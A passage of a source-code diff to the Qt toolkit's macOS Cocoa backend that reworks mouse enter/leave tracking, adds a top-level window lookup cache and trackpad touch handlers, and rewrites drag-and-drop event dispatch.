QCursor::pos()); + qt_mac_set_cursor(qApp->d_func()->cursor_list.isEmpty() ? &def : &qApp->d_func()->cursor_list.first()); } #endif } @@ -1431,30 +1402,54 @@ QWidget *QApplication::topLevelAt(const QPoint &p) qt_mac_window_at(p.x(), p.y(), &widget); return widget; #else + // Use a cache to avoid iterate through the whole list of windows for all + // calls to to topLevelAt. We e.g. do this for each and every mouse + // move since we need to find the widget under mouse: + if (topLevelAt_cache && topLevelAt_cache->frameGeometry().contains(p)) + return topLevelAt_cache; + + // INVARIANT: Cache miss. Go through the list if windows instead: + QMacCocoaAutoReleasePool pool; + NSPoint cocoaPoint = flipPoint(p); NSInteger windowCount; NSCountWindows(&windowCount); if (windowCount <= 0) return 0; // There's no window to find! - QMacCocoaAutoReleasePool pool; - NSPoint cocoaPoint = flipPoint(p); + QVarLengthArray windowList(windowCount); NSWindowList(windowCount, windowList.data()); + int firstQtWindowFound = -1; for (int i = 0; i < windowCount; ++i) { NSWindow *window = [NSApp windowWithWindowNumber:windowList[i]]; - if (window && NSPointInRect(cocoaPoint, [window frame])) { + if (window) { QWidget *candidateWindow = [window QT_MANGLE_NAMESPACE(qt_qwidget)]; - // Check to see if there's a hole in the window where the mask is. - // If there is, we should just continue to see if there is a window below. - if (candidateWindow && !candidateWindow->mask().isEmpty()) { - QPoint localPoint = candidateWindow->mapFromGlobal(p); - if (!candidateWindow->mask().contains(localPoint)) { - continue; + if (candidateWindow && firstQtWindowFound == -1) + firstQtWindowFound = i; + + if (NSPointInRect(cocoaPoint, [window frame])) { + // Check to see if there's a hole in the window where the mask is. + // If there is, we should just continue to see if there is a window below. + if (candidateWindow && !candidateWindow->mask().isEmpty()) { + QPoint localPoint = candidateWindow->mapFromGlobal(p); + if (!candidateWindow->mask().contains(localPoint)) + continue; + else + return candidateWindow; + } else { + if (i == firstQtWindowFound) { + // The cache will only work when the window under mouse is + // top most (that is, not partially obscured by other windows. + // And we only set it if no mask is present to optimize for the common case: + topLevelAt_cache = candidateWindow; + } + return candidateWindow; } } - return candidateWindow; } } - return 0; // Couldn't find a window at this point + + topLevelAt_cache = 0; + return 0; #endif } @@ -1480,8 +1475,8 @@ void QApplicationPrivate::enterModal_sys(QWidget *widget) if (!qt_modal_stack) qt_modal_stack = new QWidgetList; - dispatchEnterLeave(0, qt_mouseover); - qt_mouseover = 0; + dispatchEnterLeave(0, qt_last_mouse_receiver); + qt_last_mouse_receiver = 0; qt_modal_stack->insert(0, widget); if (!app_do_modal) @@ -1512,8 +1507,8 @@ void QApplicationPrivate::leaveModal_sys(QWidget *widget) w = grabber; else w = QApplication::widgetAt(p.x(), p.y()); - dispatchEnterLeave(w, qt_mouseover); // send synthetic enter event - qt_mouseover = w; + dispatchEnterLeave(w, qt_last_mouse_receiver); // send synthetic enter event + qt_last_mouse_receiver = w; } #ifdef QT_MAC_USE_COCOA if (!qt_mac_is_macsheet(widget)) @@ -1938,7 +1933,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event } } } - qt_mac_set_cursor(&cursor, QPoint(where.h, where.v)); + qt_mac_set_cursor(&cursor); } //This mouse button state stuff looks like this on purpose @@ -2132,20 +2127,20 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event QWidget * const enterLeaveWidget = (inPopupMode || ekind == kEventMouseUp) ? QApplication::widgetAt(where.h, where.v) : static_cast(widget); - if ((QWidget *) qt_mouseover != enterLeaveWidget || inNonClientArea) { + if ((QWidget *) qt_last_mouse_receiver != enterLeaveWidget || inNonClientArea) { #ifdef DEBUG_MOUSE_MAPS qDebug("Entering: %p - %s (%s), Leaving %s (%s)", (QWidget*)enterLeaveWidget, enterLeaveWidget ? enterLeaveWidget->metaObject()->className() : "none", enterLeaveWidget ? enterLeaveWidget->objectName().toLocal8Bit().constData() : "", - qt_mouseover ? qt_mouseover->metaObject()->className() : "none", - qt_mouseover ? qt_mouseover->objectName().toLocal8Bit().constData() : ""); + qt_last_mouse_receiver ? qt_last_mouse_receiver->metaObject()->className() : "none", + qt_last_mouse_receiver ? qt_last_mouse_receiver->objectName().toLocal8Bit().constData() : ""); #endif QWidget * const mouseGrabber = QWidget::mouseGrabber(); if (inPopupMode) { QWidget *enter = enterLeaveWidget; - QWidget *leave = qt_mouseover; + QWidget *leave = qt_last_mouse_receiver; if (mouseGrabber) { QWidget * const popupWidget = qApp->activePopupWidget(); if (leave == popupWidget) @@ -2155,15 +2150,15 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event if ((enter == mouseGrabber && leave == popupWidget) || (leave == mouseGrabber && enter == popupWidget)) { QApplicationPrivate::dispatchEnterLeave(enter, leave); - qt_mouseover = enter; + qt_last_mouse_receiver = enter; } } else { QApplicationPrivate::dispatchEnterLeave(enter, leave); - qt_mouseover = enter; + qt_last_mouse_receiver = enter; } - } else if ((!qt_button_down || !qt_mouseover) && !mouseGrabber && !leaveAfterRelease) { - QApplicationPrivate::dispatchEnterLeave(enterLeaveWidget, qt_mouseover); - qt_mouseover = enterLeaveWidget; + } else if ((!qt_button_down || !qt_last_mouse_receiver) && !mouseGrabber && !leaveAfterRelease) { + QApplicationPrivate::dispatchEnterLeave(enterLeaveWidget, qt_last_mouse_receiver); + qt_last_mouse_receiver = enterLeaveWidget; } } break; } @@ -2240,7 +2235,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event if (leaveAfterRelease) { QWidget *enter = QApplication::widgetAt(where.h, where.v); QApplicationPrivate::dispatchEnterLeave(enter, leaveAfterRelease); - qt_mouseover = enter; + qt_last_mouse_receiver = enter; leaveAfterRelease = 0; } @@ -2503,7 +2498,7 @@ QApplicationPrivate::globalEventProcessor(EventHandlerCallRef er, EventRef event void QApplicationPrivate::qt_initAfterNSAppStarted() { setupAppleEvents(); - updateOverrideCursor(); + qt_mac_update_cursor(); } void QApplicationPrivate::setupAppleEvents() @@ -3080,7 +3075,7 @@ void onApplicationWindowChangedActivation(QWidget *widget, bool activated) } QMenuBar::macUpdateMenuBar(); - QApplicationPrivate::updateOverrideCursor(); + qt_mac_update_cursor(); #else Q_UNUSED(widget); Q_UNUSED(activated); @@ -3115,6 +3110,7 @@ void onApplicationChangedActivation( bool activated ) app->setActiveWindow(tmp_w); } QMenuBar::macUpdateMenuBar(); + qt_mac_update_cursor(); } else { // de-activated QApplicationPrivate *priv = [[QT_MANGLE_NAMESPACE(QCocoaApplicationDelegate) sharedDelegate] qAppPrivate]; while (priv->inPopupMode()) diff --git a/src/gui/kernel/qapplication_p.h b/src/gui/kernel/qapplication_p.h index 7b49999..c5f8717 100644 --- a/src/gui/kernel/qapplication_p.h +++ b/src/gui/kernel/qapplication_p.h @@ -489,8 +489,6 @@ public: #ifdef QT_MAC_USE_COCOA static void qt_initAfterNSAppStarted(); static void setupAppleEvents(); - static void updateOverrideCursor(); - static void disableUsageOfCursorRects(bool disable); #endif static bool qt_mac_apply_settings(); #endif diff --git a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm index 9b07d64..6c5de59 100644 --- a/src/gui/kernel/qcocoaapplicationdelegate_mac.mm +++ b/src/gui/kernel/qcocoaapplicationdelegate_mac.mm @@ -78,6 +78,7 @@ #import #import +#import #include #include #include @@ -89,6 +90,9 @@ QT_BEGIN_NAMESPACE extern void onApplicationChangedActivation(bool); // qapplication_mac.mm extern void qt_release_apple_event_handler(); //qapplication_mac.mm +extern QPointer qt_last_mouse_receiver; // qapplication_mac.cpp +extern QPointer qt_button_down; // qapplication_mac.cpp + QT_END_NAMESPACE QT_FORWARD_DECLARE_CLASS(QDesktopWidgetImplementation) @@ -253,7 +257,18 @@ static void cleanupCocoaApplicationDelegate() if (reflectionDelegate && [reflectionDelegate respondsToSelector:@selector(applicationDidBecomeActive:)]) [reflectionDelegate applicationDidBecomeActive:notification]; + onApplicationChangedActivation(true); + + if (!QWidget::mouseGrabber()){ + // Update enter/leave immidiatly, don't wait for a move event. But only + // if no grab exists (even if the grab points to this widget, it seems, ref X11) + QPoint qlocal, qglobal; + QWidget *widgetUnderMouse = 0; + qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse); + QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, 0); + qt_last_mouse_receiver = widgetUnderMouse; + } } - (void)applicationDidResignActive:(NSNotification *)notification; @@ -261,7 +276,13 @@ static void cleanupCocoaApplicationDelegate() if (reflectionDelegate && [reflectionDelegate respondsToSelector:@selector(applicationDidResignActive:)]) [reflectionDelegate applicationDidResignActive:notification]; + onApplicationChangedActivation(false); + + if (!QWidget::mouseGrabber()) + QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver); + qt_last_mouse_receiver = 0; + qt_button_down = 0; } - (void)applicationDidChangeScreenParameters:(NSNotification *)notification diff --git a/src/gui/kernel/qcocoapanel_mac.mm b/src/gui/kernel/qcocoapanel_mac.mm index 0b48efd..cb1e5d0 100644 --- a/src/gui/kernel/qcocoapanel_mac.mm +++ b/src/gui/kernel/qcocoapanel_mac.mm @@ -47,9 +47,10 @@ #import #import #import -#include -#include - +#import +#import +#import +#import #include diff --git a/src/gui/kernel/qcocoapanel_mac_p.h b/src/gui/kernel/qcocoapanel_mac_p.h index 3678f81..3accc1b 100644 --- a/src/gui/kernel/qcocoapanel_mac_p.h +++ b/src/gui/kernel/qcocoapanel_mac_p.h @@ -50,20 +50,27 @@ // We mean it. // +#ifndef QCOCOAPANEL_MAC_P +#define QCOCOAPANEL_MAC_P + #include "qmacdefines_mac.h" #ifdef QT_MAC_USE_COCOA #import QT_FORWARD_DECLARE_CLASS(QStringList); +QT_FORWARD_DECLARE_CLASS(QCocoaDropData); @interface QT_MANGLE_NAMESPACE(QCocoaPanel) : NSPanel { - bool leftButtonIsRightButton; QStringList *currentCustomDragTypes; + QCocoaDropData *dropData; + NSInteger dragEnterSequence; } + (Class)frameViewClassForStyleMask:(NSUInteger)styleMask; - (void)registerDragTypes; +- (void)drawRectOriginal:(NSRect)rect; @end #endif +#endif diff --git a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h index efe045c..c71d476 100644 --- a/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h +++ b/src/gui/kernel/qcocoasharedwindowmethods_mac_p.h @@ -62,7 +62,6 @@ extern void qt_event_request_window_change(QWidget *); // qapplication_mac.mm extern void qt_mac_send_posted_gl_updates(QWidget *widget); // qapplication_mac.mm Q_GLOBAL_STATIC(QPointer, currentDragTarget); - QT_END_NAMESPACE - (id)initWithContentRect:(NSRect)contentRect @@ -145,66 +144,27 @@ QT_END_NAMESPACE - (void)sendEvent:(NSEvent *)event { - QWidget *widget = [[QT_MANGLE_NAMESPACE(QCocoaWindowDelegate) sharedDelegate] qt_qwidgetForWindow:self]; - // Cocoa can hold onto the window after we've disavowed its knowledge. So, - // if we get sent an event afterwards just have it go through the super's - // version and don't do any stuff with Qt. - if (!widget) { - [super sendEvent:event]; - return; - } - [self retain]; - QT_MANGLE_NAMESPACE(QCocoaView) *view = static_cast(qt_mac_nativeview_for(widget)); - Qt::MouseButton mouseButton = cocoaButton2QtButton([event buttonNumber]); bool handled = false; - // sometimes need to redirect mouse events to the popup. - QWidget *popup = qAppInstance()->activePopupWidget(); - if (popup) { - switch([event type]) - { - case NSLeftMouseDown: - if (!qt_button_down) - qt_button_down = widget; - handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonPress, mouseButton); - // Don't call super here. This prevents us from getting the mouseUp event, - // which we need to send even if the mouseDown event was not accepted. - // (this is standard Qt behavior.) - break; - case NSRightMouseDown: - case NSOtherMouseDown: - if (!qt_button_down) - qt_button_down = widget; - handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonPress, mouseButton); - break; - case NSLeftMouseUp: - case NSRightMouseUp: - case NSOtherMouseUp: - handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseButtonRelease, mouseButton); - qt_button_down = 0; - break; - case NSMouseMoved: - handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseMove, Qt::NoButton); - break; - case NSLeftMouseDragged: - case NSRightMouseDragged: - case NSOtherMouseDragged: - [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->view = view; - [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->theEvent = event; - handled = qt_mac_handleMouseEvent(view, event, QEvent::MouseMove, mouseButton); - break; - default: - [super sendEvent:event]; - break; - } - } else { - [super sendEvent:event]; + switch([event type]) { + case NSMouseMoved: + // Cocoa sends move events to a parent and all its children under the mouse, much + // like Qt handles hover events. But we only want to handle the move event once, so + // to optimize a bit (since we subscribe for move event for all views), we handle it + // here before this logic happends. Note: it might be tempting to do this shortcut for + // all mouse events. The problem is that Cocoa does more than just find the correct view + // when sending the event, like raising windows etc. So avoid it as much as possible: + handled = qt_mac_handleMouseEvent(event, QEvent::MouseMove, Qt::NoButton, 0); + break; + default: + break; } - if (!handled) - qt_mac_dispatchNCMouseMessage(self, event, [self QT_MANGLE_NAMESPACE(qt_qwidget)], leftButtonIsRightButton); - + if (!handled) { + [super sendEvent:event]; + qt_mac_handleNonClientAreaMouseEvent(self, event); + } [self release]; } @@ -237,6 +197,56 @@ QT_END_NAMESPACE return [super frameViewClassForStyleMask:styleMask]; } +#if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6 +- (void)touchesBeganWithEvent:(NSEvent *)event; +{ + QPoint qlocal, qglobal; + QWidget *widgetToGetTouch = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch); + if (!widgetToGetTouch) + return; + + bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); + qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); +} + +- (void)touchesMovedWithEvent:(NSEvent *)event; +{ + QPoint qlocal, qglobal; + QWidget *widgetToGetTouch = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch); + if (!widgetToGetTouch) + return; + + bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); + qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); +} + +- (void)touchesEndedWithEvent:(NSEvent *)event; +{ + QPoint qlocal, qglobal; + QWidget *widgetToGetTouch = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch); + if (!widgetToGetTouch) + return; + + bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); + qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); +} + +- (void)touchesCancelledWithEvent:(NSEvent *)event; +{ + QPoint qlocal, qglobal; + QWidget *widgetToGetTouch = 0; + qt_mac_getTargetForMouseEvent(event, QEvent::Gesture, qlocal, qglobal, 0, &widgetToGetTouch); + if (!widgetToGetTouch) + return; + + bool all = widgetToGetTouch->testAttribute(Qt::WA_TouchPadAcceptSingleTouchEvents); + qt_translateRawTouchEvent(widgetToGetTouch, QTouchEvent::TouchPad, QCocoaTouch::getCurrentTouchPointList(event, all)); +} +#endif // MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_6 + -(void)registerDragTypes { // Calling registerForDraggedTypes below is slow, so only do @@ -259,21 +269,47 @@ QT_END_NAMESPACE NSMultipleTextSelectionPboardType, mimeTypeGeneric, nil]; // Add custom types supported by the application. for (int i = 0; i < customTypes.size(); i++) { - [supportedTypes addObject:reinterpret_cast(QCFString::toCFStringRef(customTypes[i]))]; + [supportedTypes addObject:qt_mac_QStringToNSString(customTypes[i])]; } [self registerForDraggedTypes:supportedTypes]; } } -- (QWidget *)dragTargetHitTest:(id )sender +- (void)removeDropData +{ + if (dropData) { + delete dropData; + dropData = 0; + } +} + +- (void)addDropData:(id )sender { - // Do a hittest to find the NSView under the - // mouse, and return the corresponding QWidget: - NSPoint windowPoint = [sender draggingLocation]; - NSView *candidateView = [[self contentView] hitTest:windowPoint]; - if (![candidateView isKindOfClass:[QT_MANGLE_NAMESPACE(QCocoaView) class]]) - return 0; - return [static_cast(candidateView) qt_qwidget]; + [self removeDropData]; + CFStringRef dropPasteboard = (CFStringRef) [[sender draggingPasteboard] name]; + dropData = new QCocoaDropData(dropPasteboard); +} + +- (void)changeDraggingCursor:(NSDragOperation)newOperation +{ + static SEL action = nil; + static bool operationSupported = false; + if (action == nil) { + action = NSSelectorFromString(@"operationNotAllowedCursor"); + if ([NSCursor respondsToSelector:action]) { + operationSupported = true; + } + } + if (operationSupported) { + NSCursor *notAllowedCursor = [NSCursor performSelector:action]; + bool isNotAllowedCursor = ([NSCursor currentCursor] == notAllowedCursor); + if (newOperation == NSDragOperationNone && !isNotAllowedCursor) { + [notAllowedCursor push]; + } else if (newOperation != NSDragOperationNone && isNotAllowedCursor) { + [notAllowedCursor pop]; + } + + } } - (NSDragOperation)draggingEntered:(id )sender @@ -286,64 +322,211 @@ QT_END_NAMESPACE // registerForDraggedTypes on the views will severly degrade initialization time // for an application that uses a lot of drag subscribing widgets. - QWidget *target = [self dragTargetHitTest:sender]; - if (!target) + NSPoint nswindowPoint = [sender draggingLocation]; + NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint]; + QPoint globalPoint = flipPoint(nsglobalPoint).toPoint(); + + QWidget *qwidget = QApplication::widgetAt(globalPoint); + *currentDragTarget() = qwidget; + if (!qwidget) return [super draggingEntered:sender]; - if (target->testAttribute(Qt::WA_DropSiteRegistered) == false) + if (qwidget->testAttribute(Qt::WA_DropSiteRegistered) == false) return NSDragOperationNone; - *currentDragTarget() = target; - return [reinterpret_cast((*currentDragTarget())->winId()) draggingEntered:sender]; + [self addDropData:sender]; + + QMimeData *mimeData = dropData; + if (QDragManager::self()->source()) + mimeData = QDragManager::self()->dragPrivate()->data; + + NSDragOperation nsActions = [sender draggingSourceOperationMask]; + Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions); + QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions; + Qt::KeyboardModifiers modifiers = Qt::NoModifier; + + if ([sender draggingSource] != nil) { + // modifier flags might have changed, update it here since we don't send any input events. + QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]); + modifiers = QApplication::keyboardModifiers(); + } else { + // when the source is from another application the above technique will not work. + modifiers = qt_cocoaDragOperation2QtModifiers(nsActions); + } + + // send the drag enter event to the widget. + QPoint localPoint(qwidget->mapFromGlobal(globalPoint)); + QDragEnterEvent qDEEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); + QApplication::sendEvent(qwidget, &qDEEvent); + + if (!qDEEvent.isAccepted()) { + // The enter event was not accepted. We mark this by removing + // the drop data so we don't send subsequent drag move events: + [self removeDropData]; + [self changeDraggingCursor:NSDragOperationNone]; + return NSDragOperationNone; + } else { + // Send a drag move event immediately after a drag enter event (as per documentation). + QDragMoveEvent qDMEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); + qDMEvent.setDropAction(qDEEvent.dropAction()); + qDMEvent.accept(); // accept by default, since enter event was accepted. + QApplication::sendEvent(qwidget, &qDMEvent); + + if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) { + // Since we accepted the drag enter event, the widget expects + // future drage move events. + nsActions = NSDragOperationNone; + // Save as ignored in the answer rect. + qDMEvent.setDropAction(Qt::IgnoreAction); + } else { + nsActions = QT_PREPEND_NAMESPACE(qt_mac_mapDropAction)(qDMEvent.dropAction()); + } + + QT_PREPEND_NAMESPACE(qt_mac_copy_answer_rect)(qDMEvent); + [self changeDraggingCursor:nsActions]; + return nsActions; + } } -- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender +- (NSDragOperation)draggingUpdated:(id )sender { - QWidget *target = [self dragTargetHitTest:sender]; - if (!target) - return [super draggingUpdated:sender]; - - if (target == *currentDragTarget()) { - // The drag continues to move over the widget that we have sendt - // a draggingEntered message to. So just update the view: - return [reinterpret_cast((*currentDragTarget())->winId()) draggingUpdated:sender]; - } else { - // The widget under the mouse has changed. - // So we need to fake enter/leave events: - if (*currentDragTarget()) - [reinterpret_cast((*currentDragTarget())->winId()) draggingExited:sender]; - if (target->testAttribute(Qt::WA_DropSiteRegistered) == false) { - *currentDragTarget() = 0; - return NSDragOperationNone; + NSPoint nswindowPoint = [sender draggingLocation]; + NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint]; + QPoint globalPoint = flipPoint(nsglobalPoint).toPoint(); + + QWidget *qwidget = QApplication::widgetAt(globalPoint); + if (!qwidget) + return [super draggingEntered:sender]; + + // First, check if the widget under the mouse has changed since the + // last drag move events. If so, we need to change target, and dispatch + // syntetic drag enter/leave events: + if (qwidget != *currentDragTarget()) { + if (*currentDragTarget() && dropData) { + QDragLeaveEvent de; + QApplication::sendEvent(*currentDragTarget(), &de); + [self removeDropData]; } - *currentDragTarget() = target; - return [reinterpret_cast((*currentDragTarget())->winId()) draggingEntered:sender]; + return [self draggingEntered:sender]; } + + if (qwidget->testAttribute(Qt::WA_DropSiteRegistered) == false) + return NSDragOperationNone; + + // If we have no drop data (which will be assigned inside draggingEntered), it means + // that the current drag target did not accept the enter event. If so, we ignore + // subsequent move events as well: + if (dropData == 0) { + [self changeDraggingCursor:NSDragOperationNone]; + return NSDragOperationNone; + } + + // If the mouse is still within the accepted rect (provided by + // the application on a previous event), we follow the optimization + // and just return the answer given at that point: + NSDragOperation nsActions = [sender draggingSourceOperationMask]; + QPoint localPoint(qwidget->mapFromGlobal(globalPoint)); + if (qt_mac_mouse_inside_answer_rect(localPoint) + && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) == nsActions) { + NSDragOperation operation = QT_PREPEND_NAMESPACE(qt_mac_mapDropActions)(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastAction)); + [self changeDraggingCursor:operation]; + return operation; + } + + QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions; + Qt::DropActions qtAllowed = QT_PREPEND_NAMESPACE(qt_mac_mapNSDragOperations)(nsActions); + Qt::KeyboardModifiers modifiers = Qt::NoModifier; + + // Update modifiers: + if ([sender draggingSource] != nil) { + QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]); + modifiers = QApplication::keyboardModifiers(); + } else { + modifiers = qt_cocoaDragOperation2QtModifiers(nsActions); + } + + QMimeData *mimeData = dropData; + if (QDragManager::self()->source()) + mimeData = QDragManager::self()->dragPrivate()->data; + + // Insert the same drop action on the event according to + // what the application told us it should be on the previous event: + QDragMoveEvent qDMEvent(localPoint, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers); + if (QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction != Qt::IgnoreAction + && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).buttons == qDMEvent.mouseButtons() + && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).modifiers == qDMEvent.keyboardModifiers()) + qDMEvent.setDropAction(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction); + + // Now, end the drag move event to the widget: + qDMEvent.accept(); + QApplication::sendEvent(qwidget, &qDMEvent); + + NSDragOperation operation = qt_mac_mapDropAction(qDMEvent.dropAction()); + if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) { + // Ignore this event (we will still receive further + // notifications), save as ignored in the answer rect: + operation = NSDragOperationNone; + qDMEvent.setDropAction(Qt::IgnoreAction); + } + + qt_mac_copy_answer_rect(qDMEvent); + [self changeDraggingCursor:operation]; + + return operation; } -- (void)draggingExited:(id < NSDraggingInfo >)sender +- (void)draggingExited:(id )sender { - QWidget *target = [self dragTargetHitTest:sender]; - if (!target) + NSPoint nswindowPoint = [sender draggingLocation]; + NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint]; + QPoint globalPoint = flipPoint(nsglobalPoint).toPoint(); + + QWidget *qwidget = *currentDragTarget(); + if (!qwidget) return [super draggingExited:sender]; - if (*currentDragTarget()) { - [reinterpret_cast((*currentDragTarget())->winId()) draggingExited:sender]; - *currentDragTarget() = 0; + if (dropData) { + QDragLeaveEvent de; + QApplication::sendEvent(qwidget, &de); + [self removeDropData]; } + + // Clean-up: + [self removeDropData]; + *currentDragTarget() = 0; + [self changeDraggingCursor:NSDragOperationEvery]; } -- (BOOL)performDragOperation:(id < NSDraggingInfo >)sender +- (BOOL)performDragOperation:(id )sender { - QWidget *target = [self dragTargetHitTest:sender]; - if (!target) - return [super performDragOperation:sender]; - - BOOL dropResult = NO; - if (*currentDragTarget()) { - dropResult = [reinterpret_cast((*currentDragTarget())->winId()) performDragOperation:sender]; - *currentDragTarget() = 0; - } - return dropResult; + QWidget *qwidget = *currentDragTarget(); + if (!qwidget) + return NO; + + *currentDragTarget() = 0; + NSPoint nswindowPoint = [sender draggingLocation]; + NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint]; + QPoint globalPoint = flipPoint(nsglobalPoint).toPoint(); + + [self addDropData:sender]; + + NSDragOperation nsActions = [sender draggingSourceOperationMask]; + Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions); + QMimeData *mimeData = dropData; + + if (QDragManager::self()->source()) + mimeData = QDragManager::self()->dragPrivate()->data; + if (QDragManager::self()->object) + QDragManager::self()->dragPrivate()->target = qwidget; + + QPoint localPoint(qwidget->mapFromGlobal(globalPoint)); + QDropEvent de(localPoint, qtAllowed, mimeData, + QApplication::mouseButtons(), QApplication::keyboardModifiers()); + QApplication::sendEvent(qwidget, &de); + + if (QDragManager::self()->object) + QDragManager::self()->dragPrivate()->executed_action = de.dropAction(); + + return de.isAccepted(); } - (void)displayIfNeeded @@ -394,8 +577,8 @@ static bool firstDrawingInvocation = true; - (void)drawRectSpecial:(NSRect)rect { // Call the original drawing method. - [self drawRectOriginal:rect]; - NSWindow *window = [self window]; + [id(self) drawRectOriginal:rect]; + NSWindow *window = [id(self) window]; NSToolbar *toolbar = [window toolbar]; if(!toolbar) { // There is no toolbar, we have to draw a line on top of the line drawn by Cocoa. @@ -415,3 +598,11 @@ static bool firstDrawingInvocation = true; } } } + +- (void)drawRectOriginal:(NSRect)rect +{ + Q_UNUSED(rect) + // This method implementation is here to silenct the compiler. + // See drawRectSpecial for information. +} + diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm index dfcc2e6..c627b0b 100644 --- a/src/gui/kernel/qcocoaview_mac.mm +++ b/src/gui/kernel/qcocoaview_mac.mm @@ -49,7 +49,6 @@ #include #include #include -#include #include #include @@ -76,70 +75,15 @@ QT_BEGIN_NAMESPACE -Q_GLOBAL_STATIC(DnDParams, qMacDnDParams); - -extern void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos); // qcursor_mac.mm +extern void qt_mac_update_cursor(); // qcursor_mac.mm extern bool qt_sendSpontaneousEvent(QObject *, QEvent *); // qapplication.cpp +extern QPointer qt_last_mouse_receiver; // qapplication_mac.cpp extern OSViewRef qt_mac_nativeview_for(const QWidget *w); // qwidget_mac.mm -extern QPointer qt_mouseover; //qapplication_mac.mm +extern OSViewRef qt_mac_effectiveview_for(const QWidget *w); // qwidget_mac.mm extern QPointer qt_button_down; //qapplication_mac.cpp extern Qt::MouseButton cocoaButton2QtButton(NSInteger buttonNum); - -struct dndenum_mapper -{ - NSDragOperation mac_code; - Qt::DropAction qt_code; - bool Qt2Mac; -}; - -static dndenum_mapper dnd_enums[] = { - { NSDragOperationLink, Qt::LinkAction, true }, - { NSDragOperationMove, Qt::MoveAction, true }, - { NSDragOperationCopy, Qt::CopyAction, true }, - { NSDragOperationGeneric, Qt::CopyAction, false }, - { NSDragOperationEvery, Qt::ActionMask, false }, - { NSDragOperationNone, Qt::IgnoreAction, false } -}; - -static NSDragOperation qt_mac_mapDropAction(Qt::DropAction action) -{ - for (int i=0; dnd_enums[i].qt_code; i++) { - if (dnd_enums[i].Qt2Mac && (action & dnd_enums[i].qt_code)) { - return dnd_enums[i].mac_code; - } - } - return NSDragOperationNone; -} - -static NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions) -{ - NSDragOperation nsActions = NSDragOperationNone; - for (int i=0; dnd_enums[i].qt_code; i++) { - if (dnd_enums[i].Qt2Mac && (actions & dnd_enums[i].qt_code)) - nsActions |= dnd_enums[i].mac_code; - } - return nsActions; -} - -static Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions) -{ - Qt::DropAction action = Qt::IgnoreAction; - for (int i=0; dnd_enums[i].mac_code; i++) { - if (nsActions & dnd_enums[i].mac_code) - return dnd_enums[i].qt_code; - } - return action; -} - -static Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions) -{ - Qt::DropActions actions = Qt::IgnoreAction; - for (int i=0; dnd_enums[i].mac_code; i++) { - if (nsActions & dnd_enums[i].mac_code) - actions |= dnd_enums[i].qt_code; - } - return actions; -} +extern QWidget *mac_mouse_grabber; +extern bool qt_mac_clearDirtyOnWidgetInsideDrawWidget; // 